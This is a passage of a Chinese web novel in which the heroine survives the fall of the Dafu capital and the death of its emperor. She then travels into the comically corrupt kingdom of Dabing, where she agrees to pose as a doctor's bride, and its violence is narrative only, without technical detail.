“大人,你怎么能忘掉呢,你答应和我一起回家的——” 砰! 花火四溅,慕容华的尾音被人们的叫好声吞吃掉了。那短暂的绚烂过后,在视网膜上留下模糊的影子。 你对一个人多熟悉,才能认得出ta的背影、衣角、露出的一只下巴? 对礼诗涵来说,是共起居的十八年。 在那短暂一瞬间绽放的璀璨光华下,一个人轻轻地啧了一声,往下扯了扯斗篷,混入人群中消失不见了。 礼诗涵只觉得浑身的血都冷了下来。 疯皇帝! 这人居然还敢堂而皇之地出现在她面前! 闹市中不得纵马,礼诗涵跳下马,把吃到一半的糖葫芦往容轻手里一塞,简短道:“容华、容轻,你们看好黛兔。” 说罢自己也一紧衣袍,追了上去。 “等等!”慕容华只迟疑了三秒,礼诗涵就已经不在原地。 人流如炽,她费力挤开人群,礼诗涵身高腿长,已经走得不见踪影,空余她身上的甜香。 怎么也没想到是这个展开。 慕容华还要再追,慕容轻又牵马、把糖葫芦放口中叼着,终于空出一只手来,用力抓住了她的大臂,居然能将慕容华也拽得一个趔趄。 “大人自有分寸。”慕容轻含糊道,“我们只要在原地等着她就好。” “不行,来不及了。”慕容华焦躁不已,道,“你快与我去追!现在必须带大人出城!” “你到底在瞒着我们什么?”慕容轻不想浪费粮食,一边咀嚼糖葫芦一边面无表情地说。 慕容华忽然涌上一阵无力。 街上的人越来越多,越来越热闹,这些都是在等待烟花绽放的人。 慕容华怒道:“阿轻,你不想大秉吗?离家这么久了,你不想回家吗?” “哦,有点吧。”慕容轻努力地回想了一下,道,“但也不是那么想。我是被你和怀雪捡回来的孤儿啊,在哪里不都一样。你、怀雪,再加一个诗涵,你们三个在哪我就在哪呗。” 慕容华瞳孔颤动了下,喃喃道:“你说得也对。” 慕容轻垂下眼睑,道:“告诉我,你没有做傻事吧?” “我如果做了傻事,你会和我一起吗?”慕容华道。 “我.......” 回答模糊在尖叫声中。 慕容轻茫然地回头,人群中什么也看不清,只听得到一声惊天动地的爆响,从迸溅在她脸上的温热液体能看出,似乎是有谁在趁乱行凶。 用的手段她们两个都熟悉。 双/管/霰/弹/枪。 慕容华一把抓起她的手,朝着城门的方向狂奔。 那触感温暖坚定一如儿时。 慕容轻幼时营养不良,长大了也是体弱多病,比起慕容华来说矮小很多,力气也小。 所以甩开慕容华的手要费很大力气。 慕容华感到手中一空,惊诧道:“阿轻?!” 60. 第60章 史书说(完) 慕容华甚至还未来得及挽留,尖叫混乱的人流很快就把她俩冲散了。 丝竹之声已乱,慕容华被人用力地撞了几下肩膀,险些跌倒在地,又被惊慌失措的路人推搡着远离原地。 谁也不知道开/枪的人是谁,只能听得闷雷炸响,扑通扑通倒地的人群,和炸开的血肉。 慕容华来不及惊诧为什么,没时间来品味被丢下的孤独。 留给她的时间不多了。 她如果不想被人群踩踏,或者死于自己人的枪/口,趁着局势彻底乱起来之前,她必须要走了。 慕容华死死握住自己的手腕,仿佛那里有着别的女子滚烫的温度。她一遍遍催眠自己: 礼诗涵只是少年心性,慕容轻只是没抓紧她........只有故乡终究是故乡啊。 . “华姐姐,这女孩是死了吗?”王怀雪裹得像个银装素裹的团子,周身无一处不华贵,从马车里探出个脑袋。 除夕之夜,大公主慕容华和琼华王氏嫡女王怀雪一起出游赏景,马车却被迫停在半路。 因为路上蹲了个小孩,半边身子隐没在雪中,嘴唇青紫,看上去是快要冻死了。 多好的日子,压过去多不吉利。 这两位锦衣玉食的高门小姐才有机会窥见如同小猫一样瘦骨嶙峋的阿轻。 车夫把阿轻捡起来,像扔垃圾一样往路边一扔,道:“两位小姐受惊了,快请坐好,天寒地冻,莫要着凉了。” 阿轻不想死,所以拼尽全力地又爬起来。 公主府的车架连车轮都有着漂亮的雕花。 她一头撞上去,因为瘦得太厉害,直接把自己撞晕过去了,从额头流出来的血都填不满车辙的凹槽。 “哈哈。”慕容华被逗笑了,笑声清脆,道,“她好笨!怀雪,你看她像不像守株待兔里的那只兔子?” 在大秉活下来只有两种办法,投好胎,有狠活。很不幸阿轻什么也没有,只能来碰碰运气,看看权贵人家有没有缺丫鬟通房奴隶的,能活一天是一天。 她的运气不错。 慕容华和王怀雪看着稀奇,把她捡走当成宠物养。王怀雪尤其喜欢她,因为她聪明,会看眼色,交给她办什么都能办得漂亮。 阿轻从生下来就讨厌这世上的一切,因为世上的一切从来也只会给她大耳光吃。 但她是个知恩图报的人。 少年将军令君如大败大秉军,一路高歌猛进。局势不好,慕容华和王怀雪要被送去和亲,她明知道凶多吉少,也跟着去了。 送去和亲的有十个“慕容”,七个“王”,七个“谢”。 阿轻很荣幸地成为了“慕容”之一。 这可是阿轻从来只能仰望的高贵姓氏呢。 . 看哪,时间真的会改变一个人。 礼诗涵听得闷雷似的巨响,和人群的尖叫声,她发现自己已经习以为常了。 她生得高挑,在普遍营养不良的人群中鹤立鸡群,想抓到一个人是很容易的。 疯皇帝在人群中瞧见礼诗涵,哪怕是在如此昏暗、混乱、拥挤的人群中,礼诗涵也依然如神女般美艳无双,笑起来的样子可夺日月之辉。 他不由自主地呆愣几秒。 只是几秒。礼诗涵就发现他了。 疯皇帝心知不好,压低斗篷在人群中辗转腾挪。 却被人从背后一把抓住,丢进无人的小巷,背后剧痛,天旋地转,眼前视野尚未稳定,脸上就挨了一下狠的,脑袋嗡得一下变得空白。 在额角的剧痛中,只能看到礼诗涵看垃圾一样的眼神,苍白的肌肤,和她下巴上的小痣。 她不再笑了,在这样凌厉的眼神下,王宇航有一种跪倒在她身前的冲动。 礼诗涵一拳一拳地往他脸上砸,直到这人脸上变得血肉模糊。 可乐汽水味的青春,在校园中漫步、轻松而快乐的时光,已经随着呼啸的风声远去了。 “让你的人滚。”礼诗涵甩了甩手上的血,肌肉因为过分用力变得刺痛。 疯皇帝瘫倒在地,着了魔一样痴迷地看着她脸颊溅上的一抹艳色的鲜血。这颜色太邪恶,简直犹如玷污了神女。 疯皇帝听见她冷冷道:“不然我就杀了你。” 他突然变得很想笑。 疯皇帝也真的就这么做了,大笑不止。 这样做会让礼诗涵更加愤怒,但他正因为忤逆她而从中获得了至高无上的快/感。 看哪,高高在上的天才,终究也是这样的结局! 和我一样,就和我这种阴沟里的老鼠一样! 疯皇帝笑得上气不接下气,道:“不,诗涵,你误会我了,这不是我的人干的.......” 脚下不详地震动起来,有什么东西映红了半边天色。 噼里啪啦,天摇地动,那一点聚集的能量如此庞大,不详的红色像是要把整个世界都烧着,礼诗涵能嗅到硫磺味的风。 其实这次起火爆炸的范围很小。 利阳加强了警戒,若想再在全城引发一次那样的动乱,已经是不可能的事情。 礼诗涵和十九皇子牵手走过的宫道,和令君如也一起漫步走过。 每日有上千人在大阜皇宫中工作,有文臣有武将,有兢兢业业的太监宫女,或急迫或不紧不慢,共同支撑着这个摇摇欲坠的王国。 啪!一道碎瓦飞溅到她面前,被冲击波炸成两节,在地上碎成三片。 这就是它剩下的所有残存。 礼诗涵脸上一片空白。 疯皇帝喘着粗气,他喉咙中皆尽是礼诗涵打出来的血腥味。看到礼诗涵的动摇,他只觉品尝到了最甜美的甘霖,笑道:“这才是我的人干的。” 礼诗涵不会伪装,疯皇帝不需伪装,张曲平没必要伪装。 你有信心能找出人群中的鸩鬼吗? 鸩占鹊巢,做坏事很方便吧? 礼诗涵听到自己理智烧融的声音。 啊,原来这么像烟花升天。 咣!疯皇帝的头被狠狠拍在墙上,礼诗涵目光狠厉,扯住他的头发,又是咣!咣!咣!几声,誓要听到他头骨破碎的惨叫,疯皇帝却不觉得痛,兀自大笑起来。 暴力是失权的证明。 这样才对,人有嫉妒、不满、怨恨、失败,你并不是天上的神女,你就该和我一样,是个肮脏而下贱的普通人! 不对,不对,这一切都错了.......! “大人,大人!” 慕容轻艰难地牵着烈马,被人群推搡挤压着。 她拼命呼唤着礼诗涵,娇小的身躯在人群中简直如风中浮萍,随时都可能被人群马匹踩踏挤压而亡,或是被不知道从哪飞来的霰/弹打死。 礼诗涵像是从噩梦中恍然惊醒! 手一松,疯皇帝的身体无力地顺着墙面滑落下去,依然在不停地低低笑着。 疯子。 “大人,我在这里。”慕容轻大喘气,一把握住礼诗涵不停发抖、染满鲜血的双手,看也不看地上血肉模糊的人。 她的体温本来就偏低,奔跑只能带走她身上的温度,自己的体温是升不起来的。冰得礼诗涵从灵魂最深处都在震颤。 她一直都是淡淡的,靠谱而毒舌,很少有如此剧烈的情绪波动。 慕容轻咬牙道:“容华本名慕容华,大秉皇姓。我不愿说太多她的坏话——只一件事,大秉军会倾尽所有打过来,他们太想要一片能安稳生活的沃土了!大人信我就与我走!” 相比上一次,利阳人已经不像上次那么无助。只是麻木地东躲西藏,把细软收在怀中。 一次又一次。 到底要什么时候才能获得幸福呢? 黛兔虽然脾气暴躁,但没有被任何的响声、火光所惊,礼诗涵有时候觉得这马儿是真的通人性。 这双紧紧抓着她的冰凉的手,给了礼诗涵力量。 她盯视着马儿的眼睛,喊杀声起,她的声音却没有被埋没,依然是如此的清晰而稳定,道: “好黛兔,我是你的主人,你就要听我的话。去把我的姐妹送到安全的地方去。我再见你,会给你喜欢的白菜吃。” “大人?!”容轻错愕不已。 礼诗涵把容轻一把抱起,往马鞍上一放,把缰绳塞进她手中,喝道:“抓紧了!” 西域烈马发出一声长长的嘶鸣,迈开四蹄,向远处狂奔而去! 这可是弄死过人的西域烈马,容轻没有驾驭它的本领,只能死死抓住马脖子,一点儿也不敢松手。 “大人!司长大人!礼诗涵!” 那道风流优美的身影定定地看了她一会。 转身奔向最混乱处。 . 没事的。 令君如打过那么多次仗,经历过这么多战乱,连大秉和大燹联手阴他,都毫发未损,一点伤都没有受。 除夕宴大大小小的臣子都在。 令君如不是孤身奋战,一定是早早发现了他们的阴谋,现在不过是苦肉计,用来骗大秉军深入。 等到冬去春来,重新种上粮食,大家养好身体,重新有了力气。 礼诗涵就要拿出她的七八百种新式机械和炸药,把对面炸个底翻天,开创新的盛世。 她会把大秉大燹统统吞掉,将来的孩子们像她崇拜秦始皇一样崇拜她。 所以......没事的。 为什么战士丢盔弃甲? 为什么臣子伏地痛哭? 看啊,我还在这里呢? 不要害怕好不好?不要泄气好不好?我们一起来创造美好的明天吧, let'sgo! 除夕宴在奉天殿召开,奉天殿受损最为严重,礼诗涵救人心切,已经忘记自己是怎么一路进入到最深处的。 啪嗒,啪嗒。 幸好宫殿在熊熊燃烧着,就算她浑身上下都被血浸透了,风吹过也不会觉得冷。 令君如站在龙椅旁,哪怕在这样糟糕、呛人、危险的火场中,见到她的时候,眼神中流露出的依然是惊喜和爱意。 礼诗涵沐浴在这样的爱意中而生。 礼诗涵扑到他怀中,令君如怜爱地抚摸她的头发,擦掉她脸上的黑灰。 他们在火场中都被熏得够呛,这样不安全,对礼诗涵身体也不好。令君如不忍她受如此的苦,却不想放她走。 这片属于我的飞虹,终于是要消散了。 “是谁?”礼诗涵在他怀中抬起头,如同之前的无数个清晨,声音却凉得像沁了毒的刀。 她按着令君如从背后贯穿整个胸膛的剑伤,只问一件事: “鸩鬼是谁?” 都到最后的时刻了,却还在问别人的事吗? 令君如嘴角流出血来,他的声音像从破风箱中发出来的。 他嘶哑而温柔地道:“诗涵,大阜已然必亡,在我死后,你可去寻令六,他忠诚而机敏,定会护你周全,为你寻得一片栖身之地。往后十年,乱世将至,我知你性子跳脱,耐不住寂寞,凡事必以保全自身为先.......” “我说我会为你报仇!” “不需要。”令君如一口否决,注视着礼诗涵痛苦而充满泪水的眼睛,笑道,“我也是人,你在其他男人身上花费的时间只会让我嫉妒。诗涵,我只要你为我做一件事。” “什么?” 永远记得我。永远不忘记我。不论你之后又爱上过谁,之前又曾经与谁恋爱。 你都没办法忘记我。 令君如和礼诗涵十指相扣,轻轻地和她亲吻。礼诗涵只尝到苦涩的血味。 他把她的手指放在自己的咽喉处。按住。 礼诗涵能感受到声带的震动,很轻微,像情人的爱语。令君如垂首,道: “亲手杀掉我。” . “咻——啪!” 礼诗涵孤零零站在城墙上,点燃了自己亲手做的烟火。硕大的金红色花朵凌空绽开,在每个人的视网膜上留下抹不去的残影。 “咻——啪!” 慕容华在马车上掩面哭泣。而将士们跪在慕容熙面前,他摇着小扇,笑眯眯地看不出情绪。烟花声响起,他惊喜地以扇掩唇; “咻——啪!” 城郊,慕容轻抱着马脖子,着急忙慌地想下马,脚够不到地。听到烟花声,她猛地抬起头; “咻——啪!” 谢厌身上还缠着绷带,手持长槊,闻声不耐烦地抬眼; “咻——啪!” 疯皇帝捂着脑袋,躲在墙角的阴影中窥视天空中巨大的金红色花朵; “咻——啪!” 无数的百姓麻木地抬起头,把这莫名绽放的绚烂烟火和城墙上的鬼魅身影尽收眼底。 “我是赤星司司长,当朝皇后上官梨!” 烟花明明灭灭,礼诗涵的身影不甚清晰,大多数人只能瞧见她被风吹得鼓起的袍袖,没人能看见她泪流满面。 平静的时光,吃着西瓜翻看论文的下午...... 诗涵,你还没长大吗? 只有小孩子才会活在不切实际的梦中。 而可怜的大人就是无论在什么地方,都是要努力活下去的。 上官梨握紧拳头狠狠砸向墙面,指尖迸裂出血,她毫无所觉,嘶吼道: “我以此身为誓——” “此债必以血偿!” . 史书说,大阜亡国之君,讳君如,姓令氏,林泉人。战功显赫,定疆域,平乱相,以武称帝。然时运不济,国灭,身崩,非人之过,乃天命也。 皇后上官氏,多有奇技,众人敬之爱之。帝死后,慕容氏攻之,上官氏率众顽抗,然百姓难继,一月,城中多饿死。上官氏遂开城门,后不知所踪。 . 大阜边境有一小县,名曰林泉。 曾有农户以点心闻名,而现今已然荒芜,上官梨牵着马走过,在地上捡起一块陈旧的牌子: 寄虹。 上官梨不知道想起什么,笑了一声,牵着黛兔,头也不回地向林深处走去。 泉水早已干涸堵塞,无法再现水中虹彩的奇景。 上官梨寻寻觅觅许久,追随着空气中粘稠的气味,从黛兔背上拿下一把铲子。 一铲下去,漆黑的液体涌出,浸染在上官梨的绣鞋上,沉重无比。 “.......果然找到了。” “石油。” 61. 第61章 琼华 琼华,理论上大秉本应最繁华热闹的都城。城门口排了长队,队伍向前移动的速度无比缓慢。 大秉草木青翠,正遭水洗,豆大的暴雨正不断从琼华上空落下,把旅人的斗笠和帷帽都砸得噼里啪啦闷响。 连面对面都听不得对方声音。 队伍从清晨至排到午夜。 门将眼下青黑,身上班味浓重,一把夺走女子手中路引,细细端详咂摸半晌,才慢悠悠地抬眼: “王氏的人?” 女子戴着帷帽,穿着蓑衣,身高出众,姿态风流,露出的皮肤也雪白,可知帷帽下何等天人之姿。 琼华王氏确实多出美人。 而且大秉人实在太武德充沛了,生得多赔的也多,所以流落在外的血脉数不清。 “正是。”矮一点的女人替她回答。 “我家小姐的母亲在十几年前被送去和亲,早早夭亡,仅留下这么一个血脉。” “那你们怎么早不来投奔,晚不来投奔,偏偏挑这么个时间?不知道现在大阜人闹出多少事端,琼华戒严吗?” “大阜国破,才能寻机脱身投奔。” “你都要投敌了,哪管什么早晚呢?我们大秉是你家小姐的第二选择吗?如果你真的认为琼华是个好去处,怎么长这么大了才来?不知道前几年皇帝选妃的大场面,哪家贵女不以嫁入皇家为荣?我可是自从会走路的时候就走遍了琼华的大街小巷,引以为豪呢!” “.......”慕容轻轻松绷住,不疾不徐道,“我家小姐被邪恶的大阜人蒙在鼓里,一直藏在闺中,不知道自己身世。” “什么?”门将跳起来,大惊失色道,“那岂不是被大阜人玷污了!” “什么?”慕容轻表情空白地反问,“我刚刚哪句话让你产生这样龌龊的联想了???” “你家小姐都十八了。”门将语重心长道,“这个年纪,又没有琼华的精神熏陶,想必一定相看过,相看过就一定见过男人,见过男人就一定想尝尝男人的滋味。从思想上就被玷污了!” “........”上官梨歪头。 慕容轻被这种震撼又肮脏的联想能力惊呆了,她道:“话不能这么说.......” 门将摆手,将二人轰出去,道:“如果你真的是琼华王氏的血脉,大可叫人来接,我自跪拜相迎。而如果你不是,琼华又只需要貌美、温顺、忠诚且纯洁的小娘子。你们不符合!” 上官梨牵着黛兔,和慕容轻重新站在了城外的暴雨中。 她抹了一把从帷帽的缝隙顺着流到脸颊上的雨水,对大秉的一腔愤怒都被暴雨浇熄了,只剩下深深的无语。 她问慕容轻: “大秉人是不是都有病?” “呃,”慕容轻面无表情道,“我很想维护一下我的故土,但很遗憾,十之八九。” 上官梨:“........” . 上官梨直奔琼华而来,不把大秉搅得天翻地覆,是不会走回头路的。 眼下暂时入不得都城,她也不急,和慕容轻在城郊寻了处客栈落脚。 客栈老板娘笑容满面地接待了她。 二人的衣服鞋子都被暴雨打湿得透彻,上官梨身体好,催着慕容轻先去沐浴,她则换了身干净的衣物,拧干二人衣物上的雨水。 扑通一声,慕容轻一头栽倒在木桶中,而已经快被药出抗体的上官梨一转头,果然发现了窗户下方正在缓缓吹出迷烟的竹管。 上官梨:“........” 还是家黑店。 上官梨见过的大场面太多了,一把拖出慕容轻防止她淹死,木桶咣当翻倒,温热水流稀里哗啦铺了满地。 屋外之人见识不对要跑,被上官梨从后面一脚踹倒。 这人莫名其妙的也不知道做坏事要遮住脸,长得挺污染眼睛,见到上官梨不戴面纱出门,第一反应却是大骂她不守妇道,勾引男人。 上官梨困惑:? 这人还不守王法嘞。 她暴揍贼人的动静太大,客栈老板娘很快出现,一张涂满了油腻脂粉的脸花容失色,尖叫道:“大人,发生什么事了?” 好歹有个正常人。 上官梨还没来得及开口,就见这壮硕的老板娘上来从她脚下抢走那个犯罪分子,大惊:“光天化日之下,居然有人敢打人!你们几个,快把这几个小娘皮给我抓起来,扭送官府!” ......还有倒打一耙。 立刻就有伙计跃跃欲试上前想制住上官梨,上官梨瞠目结舌,震撼道:“这家伙手里还有迷晕小娘子的迷药呢!” “这是我们客栈的哄睡服务。”老板娘冷笑道,“各位客官们离了这个,怎么能睡得香甜又舒适呢?外地人,少见多怪——拿下!” 上官梨:??? 慕容轻脑袋磕到地板,痛得清醒,手忙脚乱地穿好衣服。她抱着行李跳出来,道:“大人,不要和他们废话,走!” 上官梨反手抓住她的手腕,挥拳打飞一个趁机想摸她的登徒子,狂奔至门口把堵门的和大门一起踹开,抽空真诚反问道: “你们平时活在地狱里吗?” 慕容轻没办法立刻回答她,因为屋外的雨还在噼里啪啦的下。 哪怕是三伏天,这般冷水一浇,她身上的体温也被一下子带走了,心脏骤然一缩。 上官梨把她抱上马,自己也跳上去,黛兔在雨夜中狂奔,慕容轻有气无力地道:“大人,你反应过度了,他们都很有职业素养的,只偷大约一成的财物,不采花也不偷重要物品,有的时候还附赠同性别的按摩服务.......” “什么?”上官梨抹了一把脸上的雨水,出离震惊了,“职业素养???这真是一份职业???” “嗯哼。”慕容轻伸出手指,道,“'此路是我开,此树是我开,要从此路过,留下买路财’,这是大秉人的生活信条,大人您也可以学习一下,能立刻获得自信哦。” 上官梨:“........” 她真的活过那场穿越了吗??? . 上官梨高价找了另外一家客栈,终于可以去掉那该死的哄睡服务了。 这钱不得不花,因为慕容轻病倒了。 不是所有人都能如上官梨这样淋一整天的雨还活蹦乱跳的。 慕容轻在天明时分,在滂沱大雨转成毛毛细雨的时候发起高热来。 修整半日,上官梨给她换了衣服,用冷水打湿毛巾敷在额头上,但慕容轻的体温还是烫得可以用来烙饼。 上官梨心忧不已,带着她去看大夫。 慕容轻已经烧得神志不清,依然勉强撑起眼皮,头摇得像拨浪鼓,道:“不,不去这家药馆。” “?”上官梨现在已经很警惕了,看着药馆来来往往络绎不绝的人流,不确定道,“这家应该没问题吧。” “有很大问题。”慕容轻轻嗤道,“不是随时都有人生病,但药馆随时都需要客人。所以大秉人想出了一个好办法,那就是给客人的药里下毒。” “........” 慕容轻摊手:“病好了,但为了解毒,还是不得不来。一来二去,生意就做起来了。顺带一提,为了可持续性地竭泽而渔,药馆一般会在一月内给病人解毒哦。但我还是比较不想中毒的。” 上官梨以手扶额,放弃了思考。 慕容轻躺在上官梨怀中,面无表情地仰面看天:“慕容华因为这种破地方出卖大阜,在我看来真的和闺蜜爱上青蛙没什么区别。” 上官梨感受着她越来越烫的温度,慌张道:“可你生病了。” “我是贱骨头,一时半会死不了。”慕容轻平淡道,“我还没说完——后来权贵们也全都被下了毒,朝堂上一个二个的脸色青紫印堂发黑。大秉皇帝终于受不了了,推出了崭新的连锁医馆,以朝廷的信誉打包票,免费为百姓服务。” “那太好了,我们快去吧,是哪家医馆?”上官梨的表情由担忧转为欣喜。 “‘忘忧’。” 慕容轻刚说完,上官梨便立刻询问路人,纵马前往。刚一到达,就瞧见忘忧药馆何等的门庭若市,小小的巷子被无数百姓围得水泄不通。 上官梨艰难地取了一个号,上面的数字是惊人的一万六千八百一十八。 预计等待时间两个月。 上官梨:“........” 慕容轻也探头看了一眼,平静道:“哦,我忘了,还有一个问题。因为忘忧药馆确实童叟无欺,在大秉简直太新鲜了,这里的诊号十分火爆。我离开大秉的那年,琼华城外的忘忧药馆看诊要排只要排半个月。现在看来有过之而无不及——” “大人呐,我们还是去普通的药馆吧,等‘忘忧’排到我的时候,在普通药馆被下的毒已经解了。” 上官梨:“.................” 上官梨觉得自己已经彻底了解了大秉。 “一定有的吧。”上官梨抱着慕容轻喃喃自语,四下寻觅,果然人群中有个人和她对上了眼神。 那人神神秘秘地探头,道:“号子要吗?” 果然有啊,黄牛服务。 “多少钱?”上官梨单刀直入,“你也看到了,她病得十分严重,我需得尽快找大夫,医术有保证的,不要给她下毒,不论出多少钱都可以。” “好说,不要钱。”黄牛嘿嘿一笑。 上官梨的心提了起来,不要钱的才是最贵的。 只听黄牛道:“‘忘忧’药馆的坐堂大夫需要有人帮他一个小忙。至今还没人能办到,这可是天大的机会,我看您正合适!” “什么?” “扮作一位冷艳高贵温柔贤淑沦落青楼沾染风尘却卖艺不卖身,宁死不低头事权贵的绝色女子,为坐堂大夫一劳永逸地挡下家中婚事。” 上官梨:? 这里还有正常人吗。 62. 第62章 秉式教育你赢了 再离谱的要求上官梨也只好答应。 做戏嘛,她熟悉,但上官梨还是忍不住多问了一句:“为什么人设要求得这么苛刻???” 黄牛已经在门口蹲守许多天,见这种麻烦事终于有冤大头乐意,喜笑颜开,也不吝啬于给上官梨解释一下。 他道:“哦,因为这位大夫家中娶妻的条件十分苛刻。男子女子全都没有自我择妻的权利,而是需得举办一场相亲比斗会,邀请全琼华的适龄男女都来参加,比拼十几个项目。赢家根据排名,才能有加入高贵血脉的权利。” “而这位大夫视女人如蛇蝎,认为每次碰见女人都没好事,更是死也不愿意娶一个不认识的冷漠女人,只得出此下策。顺便一提,这种人设是上次相亲比斗会的赢家哦。” 上官梨:“........” 黄牛施施然离去了,留下上官梨在原地表情空白。 慕容轻贴心地补充:“哦,大秉是这样的。不够强的人的血脉怎么有资格传下去呢?” 上官梨撑着油纸伞,二人又等到天黑,医馆门口的人才恋恋不舍地散尽了。 大秉这地方太邪门,她便很听慕容轻的话,学着大秉女子一样乖乖带着帷帽。但厚重的网纱本来就密不透风,被水浸了更是显得沉重无比。 上官梨觉得自己要被水汽弄得窒息了,轻轻地拨开帷幕喘一口气。 慕容轻没来得及制止她,已经有个人见到了她的面容,立刻瞪大眼睛。 “干嘛?” 上官梨认为这是封建的陋习,也不怕事,瞪了回去。 “啊!”那人以手抚心,以一种十分戏剧化的动作,啪!地平平躺在了地上,不动了。 那人的同伴立刻扑上去,哭天喊地地叫道:“你把我兄长克死了!你赔钱!” 上官梨:“...............” 慕容轻道:“其实没死........” “阿轻,不,你不用说了。我已经完全明白了。”上官梨平静地怒吼道,“这到底是什么破地方???” “啊!”又有一个人平平地躺在了地上。 “女子声音怎么能那么大?”那个人的同伴愤怒道,“你看,你把我弟弟吓死了!你赔钱!” 慕容轻在她怀中轻轻道:“其实也没死.......” 上官梨已经不想说话了。 在她沉默的这段时间,这个“死”了弟弟的大哥也“啊!”一声倒在了地上。 又有人仗义执言道:“问你话呢,怎么不说话?你看你冷暴力我们,把我的大哥也气死了!你赔双倍的钱!” .........上官梨在认真地思考大秉这个地方自己灭亡的可能性。 最后得出结论,好人不长命,祸害遗千年。 她必须把想尽办法这个地方炸上天! “哎,别在我门口闹事。” 终于有个正常人仗义执言,上官梨松开扶额的手,满怀期盼地看去。 谢厌一身青色衣袍,身上还带着些中药的苦味。这般柔和的颜色也不能遮住他的猿臂蜂腰,常年纵横沙场,周身气势是掩不住的。 他把地上那些人全踢起来,冷笑道:“讹到你祖宗头上了?” 隔着被水浸透的厚重面纱根本看不清楚任何东西,只能听见是个傲慢的男性声线。 似乎有点熟悉,但一时想不起来是谁。 但能在这地方碰见一个正常人,上官梨认为这已经是是很不容易了。 这帮人不过欺软怕硬,发现上官梨是个外地人所以顺杆爬,碰见本地地头蛇立刻跑了。 谢厌的目光第一眼就被这女人吸引住了,虽然形容狼狈,但周身沉凝而端庄的气质和姿态是掩不住的。 就是看上去有点莫名眼熟,又对不上号。 二人几次见面,全都是互殴一直打到血肉横飞鼻青脸肿声嘶力竭。 只在对方心目中留下了狰狞可怖的印象,现在都端起来了,自然认不出来。 二人莫名对视一阵,谢厌挑眉问:“你就是那个,冷艳高贵温柔贤淑沦落青楼沾染风尘却卖艺不卖身,宁死不低头事权贵的绝色女子?” “.......”正常人滤镜破碎,上官梨屈辱地认领了,道,“对,没错,就是我。” “名头挺长。行,就你了。”谢厌转身走回医馆,扬声道,"带着你病重的老丫鬟跟我来。" “...............” 这人嘴也是真的很贱,上官梨拼命忍住反驳的冲动。 至少他确实守信,煎药的童子都已经回家,他在看完两百个病人之后还给慕容轻把了脉抓了药。上官梨便觉得这人再嘴上无德,她也帮定了。 慕容轻已经烧得没力气说话了,灶上草药咕噜咕噜,苦涩的药味几乎要把忘忧医馆淹没。谢厌问:“怎么称呼?” “礼.......”上官梨把名字吞了下去,“梨儿。” “真不吉利。”谢厌点评,“你不知道大阜亡国的皇后闺名就是梨吗?给自己改个名字吧。” “你对她很有意见?”上官梨本人问。 “有仇。”谢厌一副不想多提的模样,道,“那人撞断过我三根肋骨,还差点把我毒死!毒妇啊!” 这熟悉的经历,上官梨沉默了,半晌艰难道:“敢问大人名讳?” “琼华谢氏,谢厌。你会怎么连我是谁都不知道?” “........” 天下冤家总聚头。 上官梨一来就碰上大仇人,真是幸运。趁现在把谢厌除掉,世界上能少一个大祸害。 正巧,她袖中有一支填满子/弹的手/枪。 谢厌还在痛陈自己被上官梨害得有多惨,至今都没能忘怀毒血的滋味,这辈子都不想娶妻生子了。 趁谢厌转身去看药的时候,冷硬的金属悄无声息地落在上官梨的手心。 她把枪/支藏在背后,拨开保险,声音中不由得带了一丝冷意,道:“她不过是想保护她的子民,大人因何如此小家子气呢?” “哼。”谢厌冷笑道,“苦衷啊,谁没有苦衷?我也有难处,怎么无人来心疼我一下?” 眼见这人居然连一点忏悔都没有,上官梨不再犹豫,举起手/枪,对准了谢厌的后脑勺。 “砰砰砰!” 药馆大门被用力敲响,谢厌把药盅一撂,不耐烦 地道:“明日再来!一天治两百个人,拿我当驴用呢?!” 上官梨把手/枪重新收回袖中,谢厌刚三言两语把病人打发走,慕容轻又剧烈地咳嗽起来。 谢厌翻了个白眼,把煎好的药放在她面前,道:“我这劳碌命——喂吧,药到病除。” 慕容轻染的只是风寒,如果在现代,她只需就着温水吞咽药片。 而现在如果没有手中这蛊滚烫而苦涩的汤药,她会死。 屋外的人明日没等到谢厌也会死。 “你居然算是个好人吗?” 上官梨咬牙,袖中冷硬的铁块硌着她的皮肤,让她两难。 “啊?”谢厌冷笑道,“我是被强迫的好吗!如果有的选,我会在这里打白工吗?” 做事论迹不论心。 上官梨把药汁给慕容轻灌下,抚摸她温度变得平缓的额头,决定最后再杀谢厌。 ——等到处理完慕容氏这个最大毒瘤,再处理他也不迟。 上官梨单刀直入,道:“我们来谈谈正事吧。” 一提这个,谢厌又冷笑道:“琼华谢氏比较有病,硬讲究‘门当户对’。这届的适龄男子女子一共有八个。我也并非强人所难,你只要留在最后八人中,我会选你。待婚事定了,你一走了之便可,我就又能混到下一届。” 上官梨从小到大还没拿过第二,道:“这好办。比什么?” “骑射、乐器、诗书、驾车、算数、刺绣、舞蹈、烹饪、绘画九项基础,还有还有一道每届都不一样的压轴题。” 上官梨:“.................” 谢厌上下打量上官梨,满意地点点头:“看你的身形,确实是富家出来的。这些基础中的基础应该都会吧?” “啊?”上官梨不确定道,“我会吗?我应该会吗?我会算数和骑马。但是别的.......我好像没学过.......” “什么?”谢厌惊道,“那你怎么做别人的妻子?” 上官梨目光游移,她已经嫁过两次人,还从来不知道做妻子要这么难。 她道:“做别人的妻子不是只需要和那个人两情相悦吗?只要我认定一个人,无论他变成什么样,我都会喜欢他的!” 谢厌已经被秉式教育腌入味了,他冷笑道:“天真!如果你的丈夫不会骑射,你就会在外出狩猎的时候落马让人笑话。如果你的丈夫不会乐器,你就不能参与宴会,只能闭门不出,让人笑话。如果你的丈夫不饱读诗书,你就会在别人写出惊艳的好诗的时候,只能附和点头,还是让人笑话........” 上官梨:“.........” 到底哪来这么多人笑话你们! 呆在大秉境内仅仅几日的功夫,她已经感受到了从未有过的、灵魂上的疲惫感。 为了快点结束这一切,她深吸一口气,道:“假如,我是说假如,我有琼华王氏的血脉,有手信可以证明,只是进不去城、未与他们相认。这会有用吗?” “那太好了,那你会是内定的赢家。” 谢厌当即拍板,困扰他多时的烦恼终于暂时要散去了,他笑道:“明日我就带你们进琼华城内。” 63. 第63章 江洋大盗上官梨 “王家家主敬启—— 小女怀雪,以浮萍之身远嫁他国,至今已十数年矣。王氏养怀雪,也不过十数年。种种艰辛苦楚难以言表,信你也无心去听。念及此,生恩养恩,俱已还清,我不欠你们。 老狗已死,此身将殉。我儿贺余,平庸懦弱,碌碌无为,若此信开必已身死。怀雪心软,不如家主手腕毒辣,痛余儿无能,也宁可余儿无能,现并无半分怨怼。 唯有一人,怀雪亏欠良多,此生难以再报。幼时于膝上曾聆听父母教导,仇可解,恩不可不还。恳请收之养之,见之如见怀雪。 